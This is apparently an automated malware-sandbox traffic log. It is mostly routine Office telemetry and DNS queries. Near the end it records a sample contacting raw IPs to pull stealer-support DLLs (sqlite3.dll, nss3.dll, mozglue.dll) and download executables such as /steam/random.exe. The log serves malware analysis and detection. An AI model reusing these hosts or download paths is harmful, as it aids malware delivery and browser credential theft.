Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 12:24:50 GMTIf-None-Match: "67334912-1b3400"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: uu_host_config.9.dr, 000003.log.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: uu_host_config.9.dr, 000003.log.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.ldb.9.dr	String found in binary or memory: "www.youtube.com": "{: equals www.youtube.com (Youtube)
Source: 000003.ldb.9.dr	String found in binary or memory: "www.youtube.com": "{:1 equals www.youtube.com (Youtube)
Source: uu_host_config.9.dr, 000003.log.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: browser.events.data.msn.com
Source: global traffic	DNS traffic detected: DNS query: r.msftstatic.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

